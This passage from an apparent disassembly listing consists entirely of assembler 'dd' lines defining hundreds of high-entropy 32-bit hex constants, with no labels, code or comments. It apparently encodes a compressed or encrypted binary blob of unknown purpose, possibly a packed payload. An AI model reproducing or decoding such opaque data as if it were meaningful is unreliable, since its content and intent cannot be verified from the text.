		dd 0BAFD1CE8h, 0CB90031h, 5DC5C3DFh, 0F831C2AEh, 211919DBh
		dd 1802999Eh, 739130B8h, 573D39C0h, 607FFDA6h, 0CDC5A86Eh
		dd 9104B6EFh, 373129DEh, 60D494C2h, 0E7DF08h, 0D0F62C43h
		dd 802A9D1Ch, 0F833B1C0h, 0C46928A2h, 1ED3DA20h, 16C0E800h
		dd 6AC519Ah, 39DC2981h,	8D03D99Ch, 36C43CA8h, 0DE110018h
		dd 1B7AFC32h, 0FF3723F9h, 88C192Eh, 37F807E6h, 26721985h
		dd 0E1C850A3h, 0FD69830Bh
		dd 0C8006F9Fh, 1F5DB701h, 182C6B32h, 18960F4Eh,	230F1C3Fh
		dd 839D19FEh, 3E8EE269h, 1E184308h, 6BA0B8A5h, 2BB8E803h
		dd 9960EDh, 3AD26DB1h, 9BC317EFh, 0EB0EC419h, 219CA908h
		dd 0AD3A40DAh, 45B76F18h, 0E199D60h, 208263Eh, 8FFAC00Ch
		dd 0A88012BBh, 45B0BA8Dh, 9B565410h, 0B30C2B01h, 7032D8DDh
		dd 7B68F795h, 3B0CD0D8h, 10F4C19Dh, 1E48C2h, 0A8E6ED6Ch
		dd 0C0797345h, 14C9C820h, 20A7F5E8h, 0C155CF88h, 8CB745A6h
		dd 0B9956321h, 5CC0005Fh, 3BCD8725h, 0C1054F3Dh, 2836F877h
		dd 0E00BB843h, 0BC400685h, 9AE99A4h, 0EB211A60h, 0DB285E7h
		dd 973890AFh, 0D8B80058h, 4092C58Fh, 68E8A800h,	7B343E3h
		dd 0DB4B377Ch, 5217C08h, 0FF68EA00h, 9938FA83h,	0A28A0F20h
		dd 2321F09h, 2A84750h, 0E92BB701h, 8D6D858h, 0E317F33Ah
		dd 0CE40A6C4h, 0ACB93ADEh, 41065B7Ch, 0C0C543B2h, 0C8121E78h
		dd 0F0A02ADDh, 59F00798h, 0A30430D7h, 930F927h,	0F8B821A1h
		dd 7A630259h, 10FCBE16h, 0D2EE2840h, 5677C580h,	0E1029CFBh
		dd 0F4A6E785h, 0EE101731h, 0CC0385E8h, 0F42F32CBh, 8EE0061Ah
		dd 0F81C35AAh, 3060D93Bh, 0F00A3024h, 1B8F1832h, 0AA162808h
		dd 90A4C524h, 30DFC832h, 0D10859F2h, 647AF430h,	0FABA40A4h
		dd 311459h, 95930B8Ch, 91A772CBh, 0E8C8C154h, 0F1BB6107h
		dd 8F41520Ah, 0EC489624h, 0B2048CDAh, 0C343E568h, 402FB062h
		dd 885B68ECh, 6F600C7h,	322C54B9h, 44DE447h, 90381E38h
		dd 1C3E96D2h, 811DB123h, 8FE40685h, 0CFE6000h, 1F556F59h
		dd 4C33230Eh, 0B4701E8Bh, 0D7209490h, 0E370DE7Bh, 8268B409h
		dd 0A40B1380h, 140B238h, 48CC68E6h, 28B6C800h, 90DEC7E2h
		dd 5921C0BDh, 0A7496E4Eh, 27DF4C01h, 0E740140Dh, 0E4115821h
		dd 68205C17h, 0E4095250h, 0AB2DD10h, 849CD890h,	0B360D944h
		dd 4323E668h, 0B711CBh,	0C268ED06h, 489A8F97h, 10C49CA9h
		dd 30EF2203h, 0E9083ACCh, 649CB317h, 0D4DC40ACh, 1B63C3Ah
		dd 21E61909h, 34289131h, 0EE059778h, 9FD3FDA5h,	1AB9A402h
		dd 716C482Ah, 8E1702CEh, 9D408FF0h, 64DE6884h, 43E1A402h
		dd 90EC9CE3h, 86680E3Ah, 3260BFC7h, 59AA1760h, 0D981C031h
		dd 35000D20h, 78C37DD5h, 8B66F8C9h, 0A42014B0h,	0E8237C1Ah
		dd 0F03AD303h, 7CF04417h, 0DBCD88AAh, 733E3A00h, 0BC7597AEh
		dd 600F0D3Dh, 0B202979h, 0C0A78828h, 0C33E5AD3h, 16A6DC01h
		dd 0FEA43F7Bh, 3BBBC6ECh, 4C8FB76h, 22CAD512h, 0ED30E0E8h
		dd 30D01159h, 87A388ECh, 6059F5BBh, 3BB2EDACh, 8407B8EEh
		dd 2C7D5EAEh, 0C3DF6C0h, 54984C2Ah, 0C7454309h,	18EB8091h
		dd 0CD5908EEh, 34C85430h, 59F6BE04h, 0C5397BC0h, 239800DAh
		dd 3DDDCBE9h, 4512A05Ah, 80A73FFh, 0B512D8EBh, 0B43A6C52h
		dd 3600A023h, 69760DDBh, 5E3D04DEh, 903735A6h, 2AB160DCh
		dd 0EA46C8A4h, 0F23AD502h, 8C7DB17h, 3ADDCF00h,	6176B44h
		dd 46ED5709h, 0D90079B1h, 3C753715h, 484B22D4h,	60247C96h
		dd 0D8901528h, 5E18B72Eh, 0AC07AB46h, 848FCD08h, 88888F9Ah
		dd 0E64FC0B6h, 47021C26h, 0DF6CBCCDh, 65B48267h, 0AF111FC8h
		dd 88876F80h, 0A860469Bh, 0F4FB6719h, 4902005Ah, 0E5E20FA4h
		dd 29013704h, 0E81C68F5h, 382922B9h, 397D4618h,	0C5017058h
		dd 36F3BFEFh, 18A67CA1h, 80F5118Ch, 0A6B185E3h,	14448CE4h
		dd 85EA03E8h, 4E0BF18h,	0A3B99AD0h, 2808FC91h, 0A1A40A2Ah
		dd 0BE900A64h, 0AD18394h, 9BE05D2Dh, 0AE000B43h, 0B5F3CD7Dh
		dd 4C32C9C6h, 0C512EED1h, 0DE8022C4h, 959F330h,	7AFC30D6h
		dd 0B9004C16h, 1B1959FBh, 25709349h, 74233CB7h,	28F1AEBBh
		dd 17306025h, 5E68340h,	98DC1F4Dh, 0F784088Eh, 0B385E5C0h
		dd 10145CA6h, 85ECEAE0h, 4E1C9009h, 0E4544570h,	0C28E61A8h
		dd 0A115CE4h, 9286CD5Ah, 72180258h, 0AC82AADDh,	0D0518533h
		dd 5EFCE000h, 41F20Ah, 0E254BC7h, 5A9970D5h, 75EB7B01h
		dd 1E380995h, 4D713181h, 30A0D176h, 0F400DE5Ah,	1612D7BBh
		dd 7CB4A2AFh, 368B2AE3h, 3EA46B8h, 30D259EFh, 0AC32D45Ch
		dd 59F7BD20h, 66DD5CEAh, 3177AE00h, 63E30979h, 3DC99760h
		dd 73EE83Ah, 6C106DBAh,	8E600587h, 0C0AD88ECh, 0FC05B4CFh
		dd 93BC5F00h, 7343E822h, 42B71807h, 47177191h, 38378704h
		dd 8CED406h, 1BC072C8h,	3FD88BAFh, 25870F13h, 27C546C2h
		dd 11D0D222h, 0ADE4E8E5h, 3F579260h, 0CB4C2C74h, 0F0BC56F4h
		dd 761CB957h, 2DA61F0Ch, 6424ABh, 9A8607F3h, 0A2F8AA20h
		dd 465E0494h, 0B68E00ADh, 1F48A295h, 0BE9779Ah,	0EECF4089h
		dd 0D4265002h, 43D8CC00h, 0EC2740D1h, 59E9048Ch, 624C30CCh
		dd 0F1BF20A5h, 920F4459h, 0DE4D9717h, 0FA01E55Ch, 9E1A22A5h
		dd 2DA26083h, 0D8489BC7h, 8CB0E8C4h, 17004D73h,	0A943D4ECh
		dd 268F32CBh, 884C24EBh, 0B78F7EAEh, 0F678B03Fh, 0C4BA3DA6h
		dd 18EB497Ch, 0ED3AD080h, 48B9D317h, 3AD8E0CFh,	50A075E0h
		dd 42E2F086h, 1F6237Eh,	0A6B485E6h, 8819180Ch, 853EEDE9h
		dd 3DF8839Eh, 48797E24h, 0B8C0FC48h, 65859AF9h,	87A52300h
		dd 0D1225F41h, 9713051Fh, 2EB230D9h, 13A52360h,	0DD1F41h
		dd 7BE91780h, 45720FE6h, 9A244B04h, 44C0B359h, 0C19863EBh
		dd 0A826F039h, 0D990EFF8h, 150774CFh, 8954E6E7h, 0C902BC8Ah
		dd 0A170BF46h, 2C71BBACh, 7A9A23C8h, 1118B2F1h,	11034397h
		dd 0D800B1ABh, 1CD208E6h, 5E630CB9h, 3BB74651h,	0B61E7321h
		dd 0B7AC0BBh, 3D612C59h, 0EDE5E40Ch, 9436719Dh,	0F5438178h
		dd 70824650h, 50B20450h, 0ACD14CB1h, 99001C18h,	9C89849Dh
		dd 260EAF8Bh, 749C1118h, 3601AE46h, 7A21EA75h, 88A2F615h
		dd 44C79B0Ah, 0AD601044h, 0B11EDEB8h, 96C6F845h, 3212737h
		dd 6774EB05h, 0EF884E69h, 0B7242DA1h, 4B00B0A7h, 24D2453Eh
		dd 901C98DFh, 0B89C842Eh, 440335D8h, 686F99h, 3D9D5DA2h
		dd 83B66A54h, 0A9885914h, 1AB810C8h, 0F1A21805h, 0B28440A8h
		dd 0C1CDAA7Eh, 0D9F910C0h, 24A5254Ch, 25016A8h,	9D422443h
		dd 14929049h, 0A288488Eh, 964522C0h, 767C02D5h,	73A0BCF0h
		dd 18713C62h, 37181679h, 4518B604h, 3CC1ED87h, 0D0011A7h
		dd 58D35062h, 0A18F449Bh, 281A6E80h, 6324BE2Eh,	2804CA3h
		dd 92D73BF2h, 0D66100E6h, 555E1DC3h, 775CC133h,	432E1870h
		dd 91AE78h, 0BD0FC020h,	0A9822BC9h, 289E549Ah, 7617465Ch
		dd 1B2040B0h, 7F109884h, 8BA080F6h, 17B8852Dh, 80AB1104h
		dd 0D3523062h, 0E04F3Fh, 0CB6A1740h, 749A797h, 0F46F2914h
		dd 0D318A4D1h, 54288A1Ch, 0A00EC902h, 0F5860E9h, 0B8032D5Ch
		dd 7328E00Fh, 0FB26CA81h, 0E83C678Fh, 0A0B78D03h, 3898E9F8h
		dd 0B0928690h, 1400F49Ch, 2F352983h, 0D67E006Ah, 0E35794C6h
		dd 721619F0h, 94C0A561h, 53DBA654h, 0CBC420EAh,	22376181h
		dd 51A7BC57h, 26DF2140h, 48D802D1h, 94EBFC74h, 9FE0DCEDh
		dd 0F1803F33h, 1235AC48h, 0CEF8FC47h, 0C0AAC8A4h, 25269F58h
		dd 0A4A82F28h, 0DBE5F800h, 23668DDDh, 17E909E3h, 0A0E59C2Bh
		dd 0E960B1E4h, 0D2245402h, 942EFEB6h, 0A0D20144h, 0D1007912h
		dd 0B4F18A9h, 44B6D9AFh, 8B40890h, 9E5F3519h, 6820EBC8h
		dd 508D14DEh, 6E0094B5h, 8C6C7DFh, 900F9DB2h, 3638A8EAh
		dd 0AAC880CBh, 9E9362C0h, 0DB926E9h, 0B67040C0h, 0E704E328h
		dd 0C11EF8E2h, 16E218A2h
		dd 6B70330h, 0F95A1DEFh, 2550DED0h, 0A012ADF8h,	0E0403F35h
		dd 999277FAh, 0E3A4A0A2h, 0A6E906EBh, 209C1F25h, 9DB8ED25h
		dd 80AF1110h, 0A06831CAh, 83451706h, 81EC27A2h,	0AC979B4Dh
		dd 6B2C10h, 0E5F73373h,	53760171h, 3786DA5Eh, 360034F4h
		dd 3CE11F63h, 0DAAA8083h, 725700CBh, 9E96F414h,	0ED01C971h
		dd 0A35A2C6h, 6091FBEFh, 301A12A1h, 7A086200h, 58DF939h
		dd 5FC98A95h, 0C8BC8BC1h, 0E461CF19h, 819B63D0h, 0E2ED7761h
		dd 283145F5h, 0BE09206h, 53AAA4CBh, 20535412h, 0B8893358h
		dd 12501788h, 23F43ACAh, 8E043EA9h, 0C015899Ah,	37E82838h
		dd 1B82149Ch, 0E08CD30Ch, 5836CAh, 6EE7798Ah, 8944DD82h
		dd 2433833Dh, 893BE8AFh, 45292CB7h, 62B4E4D0h, 5208E0DDh
		dd 612C81B0h, 60345251h, 0EC008C44h, 0DEBA1DF3h, 0E8D5B3F0h
		dd 0EB4A006Fh, 6A7DD15Fh, 77008EAFh, 1A6CBD3Fh,	0E746ADE2h
		dd 9025343Ch, 0FEFE048h, 0FCD14204h, 608E297Eh,	0D4C0A388h
		dd 34F753Dh, 6BEFD1B2h,	2103B046h, 527B1505h, 0F3AAF80Bh
		dd 0AC3F2530h, 0E422D441h, 78C1326Bh, 43E0F828h, 0E7C1C40h
		dd 0E57800A5h, 0E798F461h, 0C9067EB9h, 0D3E87232h, 29212A10h
		dd 9D741ECCh, 844D6538h, 90000C65h, 2CBB5141h, 818CA4CEh
		dd 0E518DBDCh, 77A4686Fh, 802608Bh, 0BC4A68DFh,	0B96158C0h
		dd 8F064C9Eh, 0F8F02D73h, 0BA65307Ah, 7C43DC18h, 458D89C9h
		dd 6114E41Ch, 8FE02E5Ch, 79A22617h, 47B7894Ch, 3718F4C8h
		dd 15B8E0E9h, 0C488A584h, 0E8BF62ACh, 0FC8DE2A4h, 4A6909F8h
		dd 58109146h, 0C800B1ACh, 145DFDEFh, 157028h, 0E94EA935h
		dd 5CBC1712h, 0C90958F6h, 0D5160Bh, 905FAB68h, 3D99198Dh
		dd 0E991B8C4h, 7C04058Eh, 0A0039DDAh, 0E0E79867h, 6C9E408Fh
		dd 0BE668112h, 75EE0410h, 0A160EE30h, 7827CC8h,	2F034C6Ah
		dd 0F0D06006h, 1A00B2BEh, 0ADE9E2D4h, 2AB9D8EFh, 94A44010h
		dd 3BB04098h, 3E0E4D29h, 0A07DD664h, 0B6678E9Ah, 1C6E00B3h
		dd 7217804Eh, 0B0CBB489h, 0B0788C42h, 39F41143h, 2CF0759Ah
		dd 10AA7E30h, 4CC4906Eh, 0D3802036h, 671F6697h,	8609D7F8h
		dd 8079B8B7h, 5C6FB21Bh, 72DE4C76h, 0D5F8C500h,	47317101h
		dd 0E01C3828h, 7B637803h, 2E8B8Fh, 93ABDD10h, 69A0B17Eh
		dd 9E22CB13h, 92B88897h, 400215D1h, 25AA1809h, 0C7316CA5h
		dd 1000686Ch, 0BCF67F6Fh, 0F1751670h, 0C8D409ADh, 0B8718483h
		dd 78C3F00Fh, 5C21969Dh, 30723CB7h, 49A21606h, 9114581Ah
		dd 848C8F0Fh, 12569BFDh, 0F1A881DCh, 45E6D005h,	0B72E3005h
		dd 24037B44h, 0FA7E572h, 0F427FB70h, 9F93A038h,	8477452Ch
		dd 10894396h, 4017C030h, 0A0976375h, 157A2244h,	0BE29F480h
		dd 0AF465E10h, 7ACE9C00h, 0D9F8C9E5h, 11DC1A09h, 794051C8h
		dd 3D0C1872h, 33093CABh, 0BA00CF66h, 0D24F1CB6h, 49148090h
		dd 0BC5481A6h, 0DA038CA4h, 4BAAC65Eh, 353DB8CFh, 95E12642h
		dd 0B1467C60h, 10BC9300h, 742F32EBh, 4EF01C92h,	0A087844Ah
		dd 5D047C1h, 1B911883h,	4100C737h, 0B70A7F89h, 921D36FCh
		dd 0D5AF0078h, 64E01CF1h, 0B102D748h, 0C9E2E1BAh, 3D68E66Eh
		dd 4A80A9EAh, 973B4B5Eh, 0E317B307h, 383A4F1Dh,	0E1001323h
		dd 56E8B10Ah, 9B4512A6h, 1D1004A1h, 0BC0CBC61h,	5EEA8C0Fh
		dd 482548h, 650D531Dh, 8ACB82h,	787B475Fh, 577C4619h, 0E2304B52h
		dd 0D9473015h, 58D75903h, 9C3DE0F4h, 70050D85h,	0F84F3022h
		dd 8A2C8281h, 0D99CD1D3h, 12081813h, 83D44D8Bh,	29C736Ch
		dd 44AE9DF6h, 89B7003Ch, 3DE7CC67h, 0C5E2A051h,	3084E6Fh
		dd 0C3905E50h, 0F010014Fh, 2F4D2EDEh, 89802873h, 0D19030EEh
		dd 5817F23Ah, 0DBE030BBh, 0F7003AD9h, 45A4CE5Ch, 0D897BE54h
		dd 24488E0h, 90842F4Ah,	0A9232C2Bh, 0A2182A02h,	40786931h
		dd 2CA2E1A4h, 0B6F643A0h, 37222DC8h, 0F2097003h, 88A87BA3h
		dd 4C151Bh, 20D07C60h, 0F9E9A224h, 0ECD48248h, 0B7578CA5h
		dd 52C50934h, 0A690A016h, 80AABB35h, 0C1562FC9h, 3E06E0F0h
		dd 0B45E163Fh, 0E5002043h, 0B0020FBFh, 929A1A57h, 0E34CE931h
		dd 0D16EB841h, 8CA8170Ch, 7C60A5A4h, 0A89DE41h,	8FFB1715h
		dd 8E18C04Fh, 3C20FC1Ch, 0AE8D009Bh, 19FBB035h,	953972h
		dd 1BB97B74h, 7194AAEBh, 181979E8h, 37FCF061h, 0C09916B9h
		dd 3C2746C9h, 0C411CF29h, 0FD18A279h, 80FA86A0h, 21DFAC02h
		dd 40188172h, 503CDE10h, 8CF1BC68h, 0A6ADD0A0h,	85BC0453h
		dd 0C4C0EEE4h, 9D0F131h, 97FDA6A8h, 0E60170D8h,	4889C551h
		dd 0DC602B30h, 0C2A0AA0Bh, 0D5B80202h, 907A092Eh, 0F61C8D16h
		dd 0EF617002h, 7C0CA0BFh, 1E82BBBh, 76B48310h, 801DC5A2h
		dd 21EDE7B8h, 97AF89AAh, 0AF91BC1Dh, 198FE980h,	452CA097h
		dd 1582D4EBh, 0CBB2FE1Ch, 0D91869E0h, 0D4355002h, 4E89B03h
		dd 38088FE8h, 0AC64B9B9h, 0C95093Eh, 3685BBEDh,	885C8E77h
		dd 239BC0B2h, 727B0E5Bh, 3506D209h, 0E0A4C0E7h,	0B38F18A1h
		dd 4B8162C7h, 8C078B02h, 732AAB29h, 2E5270D8h, 2C1DDD1Dh
		dd 2C8AE708h, 98951578h, 0E4A80450h, 74D0BEFBh,	2801AF46h
		dd 4A378FA2h, 0CED7FC83h, 42257177h, 6448C779h,	0B35E6312h
		dd 4694C8A3h, 367E63h, 0A747338Bh, 0B7C6D77Bh, 3B70E09Bh
		dd 0C9F245Ah, 20091F0Ch, 9B5BAE0Eh, 85088F75h, 68913A54h
		dd 492A7864h, 38E86044h, 0D7003E1Dh, 0C653AEADh, 628A1ED2h
		dd 0CCA950AAh, 89B6600Eh, 544DA02Dh, 7842ACACh,	0AAF7EC47h
		dd 70987BF4h, 0D2E5D417h, 43307460h, 0AE20119Fh, 1132AC4h
		dd 31B74706h, 70D0EBC6h, 124B4080h, 0A723A83Bh,	0ACA83400h
		dd 58F210EAh, 920CEC2Ch, 3C30BEA5h, 2275B500h, 7CF446F1h
		dd 12F8E493h, 46AA9C9Dh, 0A1BF9140h, 0F4672800h, 0F6E358EEh
		dd 0DF9F00EBh, 16C389EFh, 0BCA09BFBh, 2C80A9E6h, 9CB0544Eh
		dd 962219A3h, 3243187Ch, 0C5870EF4h, 0E8D88574h, 3F008CF2h
		dd 91F7E298h, 9B036DF5h, 37EBD8CBh, 8A210020h, 0AC6BDFF0h
		dd 0EF38F1C6h, 0B04B8449h, 9C9132DBh, 28713DEBh, 0A22CC0E2h
		dd 80318978h, 953DDE21h, 1843E7D6h, 987D9E54h, 472434D0h
		dd 7E844C6Fh, 9CE085A2h, 2E3D05E8h, 0B2A47CA6h,	3071F264h
		dd 373DF966h, 4CC600C1h, 9221CCB5h, 24879741h, 0F7BCE187h
		dd 0B28823D3h, 0C84E31A6h, 88138D4Fh, 68D04731h, 384CDCA1h
		dd 9916740Ch, 0E4001289h, 27025464h, 0CC71198Ch, 5E4C5CD8h
		dd 0FA00AF46h, 0F509E1FBh, 747894D6h, 0A0BC760Ah, 6302B086h
		dd 0D6778BFDh, 0F38D139Ch, 30B0B254h, 0F4FF25DDh, 0A0606369h
		dd 0CC915CC1h, 0C4750108h, 0B505A7DFh, 0C5EECD95h, 0FAD4E4AAh
		dd 6E558FE2h, 0FC7430E8h, 1442164Eh, 0CB3A0Ch, 0AA5B2520h
		dd 4FCE6380h, 0C8588E2Bh, 0A0F1C072h, 0E8003573h, 46405A82h
		dd 1CC7DF1Dh, 0C02B9EBCh, 906E8EBBh, 0E7077DB8h, 0DF8DCAA8h
		dd 0B9E5C543h, 44E4C491h, 7167B93h, 8DBB7BFBh, 4ECBD1C7h
		dd 0DB18D047h, 0C87A1E0Eh, 0F07B84B9h, 0C3604B4h, 4FF8A340h
		dd 21D0A028h, 76F01818h, 277D49h, 2B3845A9h, 2F41610Dh
		dd 0E883302h, 0E5CCF940h, 0E61A08A8h, 7032C986h, 5B987120h
		dd 0F630917Dh, 58F2057Bh, 6B3014F2h, 55C60DFCh,	6359798Eh
		dd 30A5B228h, 0EF3D6575h, 3CB8AFh, 0E62638A1h, 995540Fh
		dd 719994C1h, 0BE989870h, 0A34DF412h, 9732FC42h, 4748C2AAh
		dd 607264B0h
		dd 1F70C08h, 694CD34Bh,	2FAA8E85h, 0FC401020h, 7B400CFh
		dd 0D3E384E8h, 0A11EFD4Fh, 2C81D636h, 2B8EC670h, 391B460h
		dd 7B1430DEh, 4150B643h, 3E0085ADh, 33751D9Ch, 93C9859h
		dd 0E8B8C4CEh, 0FCB2B489h, 0B711B097h, 0A4CAA581h, 0F8B848ABh
		dd 340F812Eh, 0CF18F16h, 8FB8286Dh, 250EB915h, 92063AF8h
		dd 4CB4A3B3h, 1948091Bh, 8045C59Dh, 16601AC4h, 0F0A0E99Eh
		dd 2E58CC34h, 0CB450CFBh, 2D1C619Dh, 30C79B7Eh,	0CB601564h
		dd 920D26ACh, 0C819C4A6h, 5FC00828h, 0CE471C80h, 7C381748h
		dd 918C1DB7h, 5BFD80A4h, 1149718h, 0C9F115EBh, 0EA7C4730h
		dd 0A210E0D8h, 3305A629h, 8FFFFC37h, 0C3A78814h, 0EDE0113Ch
		dd 4B3D8DE7h, 44000F9h,	6919FB28h, 50B79D7Ch, 6066803Ah
		dd 4E3DC84h, 7E4F0505h,	0C197DF17h, 0B76208h, 1647353Ah
		dd 0B3D76ABBh, 30A8A2ACh, 44005335h, 0EACAC6BFh, 531D43B6h
		dd 1027CC77h, 24E0888Eh, 0A4BE9153h, 0B879A32Ah, 0F0B24C4h
		dd 8CFA3C8Ch, 0E885E204h, 0DCA8ECA6h, 85E9EDB0h, 0A3C7C200h
		dd 0B75B3CC5h, 4CA99542h, 0E8313007h, 3A4BDE00h, 17FA0CECh
		dd 4B49A277h, 0AC84E724h, 974E3A9h, 7315750h, 75F0D8F8h
		dd 247A9710h, 51ECB4CBh, 7BE718DDh, 0EB432468h,	0E10A70C0h
		dd 0E6926801h, 0F84AB14Dh, 73E840CEh, 2885849Fh, 0D060AD44h
		dd 0E70BF9D6h, 2ED1CCh,	134D8F39h, 444261DAh, 0AC959745h
		dd 0A708BC60h, 0D1F881B7h, 1DDDF36h, 0BBFCCCA5h, 316F15AEh
		dd 0ACA874A3h, 3825398Ch, 45638807h, 0FA7BA09Ch, 0D15E7289h
		dd 0C9E39C00h, 0B4AD062Bh, 1A467664h, 319E5B01h, 201B5797h
		dd 58B194CCh, 2E18F8A0h, 0B668141Eh, 30A5847Ch,	7E6217C4h
		dd 0F21D6440h, 2845A73Fh, 0CA40A8ACh, 0A328D2EBh, 30A2A2F8h
		dd 86007EF5h, 0E20F6519h, 4931AA21h, 893C58CBh,	0CE3F3412h
		dd 0C01AC8F4h, 89EE7CC3h, 6CD98A00h, 0FD64B20Fh, 0CFC1D7EBh
		dd 0C3ACC870h, 0B4F98EF0h, 40FBD45Fh, 54B93303h, 0B8DC9157h
		dd 173D782Ch, 0D5B385F4h, 23243A88h, 0F2803AB3h, 66C3EA1Eh
		dd 7A7170BCh, 1DAA2317h, 8FD334C0h, 0B4813h, 0E912EC58h
		dd 42489060h, 0B603F087h, 0D35A01A7h, 804BEBBAh, 142B7152h
		dd 0B490E66Fh, 0B9D8B741h, 0F81C2F7Eh, 3A60642Eh, 0E7C8C931h
		dd 3D14D372h, 58F49F67h, 8C71E848h, 49D49C00h, 5DEFA16Fh
		dd 36AA152Dh, 8301D826h, 8EC3A551h, 9E4DECA6h, 5E8F7B3Ch
		dd 79B7B00Bh, 18AED170h, 86CD0B9Fh, 468AA9Dh, 3A0A85F9h
		dd 0A4E6123Dh, 58EC5B09h, 0D6A49EF8h, 0DD95FC1Ch, 587F6A5h
		dd 0FD91B009h, 53D900F0h, 7A19715Fh, 1AE603D7h,	0B74FFF5Bh
		dd 0FED37BD8h, 482834Eh, 90849335h, 160867A7h, 0E65B712h
		dd 0D180F88Fh, 22B9E7D0h, 4284F8B1h, 0E171CDh, 23242F2Fh
		dd 27EC00A7h, 43DA404Eh, 2F31240Eh, 0B0F05354h,	58664874h
		dd 2568CB2Ch, 370CA448h, 8C473208h, 0A0AE0108h,	32A8AF25h
		dd 0AB4615E0h, 423890h,	9E4B5E87h, 7055FA96h, 0A9A70752h
		dd 476F9BE0h, 23BB4h, 111F7A2Fh, 53EC80B7h, 51BAA224h
		dd 2F6EE428h, 0AE2304h,	18B7C220h, 82BD7572h, 7C7B874Ch
		dd 71465E4Ch, 13C4800h,	0E0C2667Dh, 0ED404A14h,	9D631094h
		dd 8850E925h, 1179C340h, 48B71AB9h, 8C10E874h, 44D68100h
		dd 0B6ABC962h, 0A290122Fh, 1258B0CDh, 0BCCCCA5Dh, 0BA052899h
		dd 825117BFh, 2D18C828h, 52760E00h, 2F1D9260h, 0C38000A0h
		dd 0F4F2427Eh, 0F90CEF4Dh, 1ADE8D6Dh, 2B932538h, 0A317DCE4h
		dd 0E0C0A1F2h, 97BF6A46h, 9529C496h, 0A3F1E8ECh, 7600AF18h
		dd 4F40D49Dh, 0B0C9846Bh, 75702EF8h, 916A08F8h,	3BD69C4Ah
		dd 2A00EC48h, 0B1462774h, 1D414437h, 0C0361CCCh, 0DEE878D1h
		dd 1B00B6DDh, 763FD3E9h, 7CF133F5h, 4F9B09EBh, 50DA37DFh
		dd 72586D00h, 6EBEBBF4h, 29DB00B7h, 0C745A032h,	0CB4A6B44h
		dd 0C0483CE3h, 128CABE8h, 0F64B9F50h, 3017E2B8h, 0FE242C5Fh
		dd 0CB82FCE3h, 0E9A09652h, 0CC2C8630h, 8CB7BCh,	440EA2A1h
		dd 0DDB3DCDFh, 0CF97861Ch, 2F40C027h, 31B56091h, 0B396EBB8h
		dd 1920CB00h, 3F232824h, 0DD3E0025h, 0C4EEE84Ah, 0CE3932B9h
		dd 378609B1h, 4A5CF85Ch, 43BC4436h, 4D1890A9h, 4B004A6Ch
		dd 0E5D6B46Eh, 29F867Ch, 561811B1h, 0D041FB84h,	0D8CB1029h
		dd 1B3722E9h, 0DADBD500h, 7E95482Fh, 0FFEE44h, 70B0CC34h
		dd 4B66B32Ah, 7BB6C609h, 0A2B38278h, 499485B4h,	0FDD608E0h
		dd 4B094700h, 7B0B3E04h, 0D0BDBFE0h, 0A60BFB22h, 0F874EB35h
		dd 670B09D0h, 0F45248B7h, 244840FDh, 8700E391h,	84BD771Ch
		dd 45F71Ah, 9AF11FA8h, 592568E2h, 41CC2309h, 80045BC6h
		dd 5A21ABFBh, 3A00BD6Ch, 390D6101h, 3D7E506Ah, 8400D558h
		dd 6E18AF2Eh, 3730E8EFh, 0D87B791Ch, 54A700A3h,	0B3820E93h
		dd 0CF00AECDh, 77985164h, 98B6F5AAh, 0E9D90548h, 827C474Fh
		dd 8E102F68h, 0CBEC036Ah, 77ED92DDh, 72172806h,	1238BD6Dh
		dd 0A43780D3h, 57000D04h, 2B560655h, 95E2162h, 0CC79731h
		dd 9225F078h, 91044069h, 0FAE9C3C0h, 0A8E49A17h, 166858FCh
		dd 0C0F02A1Ch, 88FC0033h, 177AB95h, 78776F1Ah, 67EFF214h
		dd 5A0222C4h, 0D78C9046h, 181D0F63h, 264380E4h,	0E332A1E0h
		dd 0CC228838h, 0E275005Ah, 3769331Dh, 41C877DFh, 259780B0h
		dd 834704D9h, 3316A202h, 5E19383Fh, 3B0CA634h, 441CFBA8h
		dd 0FD0031A9h, 0D7584814h, 0B6504Eh, 6467B3C6h,	0E13FB917h
		dd 4EFC4539h, 0CC31BC80h, 805B4A8Fh, 7D9A16B8h,	0D18043E9h
		dd 251037E1h, 0A2C4088Ch, 60004D7Bh, 91897DFCh,	4C126BE1h
		dd 0C722D0B9h, 0E83CD9E8h, 349858DBh, 68A05155h, 4E9E427Eh
		dd 0F23A02Bh, 0BBAD0100h, 136CD066h, 4C63942h, 8182D781h
		dd 24E4937Ch, 0AA2AA438h, 3301887Ah, 844E19CEh,	0DFDC2E3Dh
		dd 0C766094Bh, 805E1D2Fh, 565A0CDEh, 31F1BD90h,	2D68F503h
		dd 0C019FCF7h, 23E07CBh, 21B89DEh, 2260E6E7h, 614A1D67h
		dd 5F809CDBh, 4E0CF4AAh, 204FD0B4h, 0FC774A54h,	0AE40059h
		dd 115A7CE3h, 0E7049ADCh, 51155519h, 5D2D44BCh,	0DE37D4A0h
		dd 0C04B923Dh, 67C0349Ah, 7491E1C5h, 0F1B88B97h, 18A5D9ACh
		dd 78C100D3h, 0D68996E2h, 744B6FD8h, 16CBDCCCh,	0E0EC3F32h
		dd 0A2131620h, 1042A88Dh, 4A56243Dh, 0CB9CC160h, 6921F810h
		dd 90B0330Dh, 4421086Eh, 6D84C1E6h, 8BE51096h, 0C013C8ACh
		dd 9DF839C5h, 65E86675h, 32D1AC05h, 6CA0C42Fh, 9723510h
		dd 0E530B0A1h, 263E7741h, 3E00B0D4h, 0F410CBF9h, 5B37C964h
		dd 0B4E8C194h, 6071AD73h, 0C3B020Ch, 0DCE03F35h, 4D539460h
		dd 30A1A2B4h, 410961D0h, 79A33137h, 279F4264h, 46761C74h
		dd 0E8B901A8h, 2F5350C1h, 58DD2C0h, 0A5A080F0h,	49C8E210h
		dd 5A352554h, 54359D10h, 55002C93h, 44F84977h, 2108B41Bh
		dd 0B7280368h, 25A42446h, 0AC88DC8Bh, 677B1CC0h, 0B8E825CAh
		dd 0FD60586Dh, 122D606Dh, 5FE24A4h, 9423AC10h, 0AB880838h
		dd 82A0C225h, 97E7F5Ch,	905C7C70h, 0BD138060h, 0E619F5h
		dd 11292FB3h, 4982DAEEh, 0DD7C5B00h, 0F90A753Eh, 48D15865h
		dd 25AE5905h, 0A3089471h, 3015E214h, 0A01A308h,	648345C2h
		dd 847923B9h, 6F10B448h, 0A4631871h, 0FE47F9h, 0C636C166h
		dd 2064B9C0h, 0E4B7D704h, 0B833A8h, 0B038A6D6h,	25AA89CEh
		dd 2C7BBDC9h, 26FC61D2h
		dd 0D833D1E9h, 7FDE813h, 0B0EA09D7h, 0C4338F3h,	0AE16287Ch
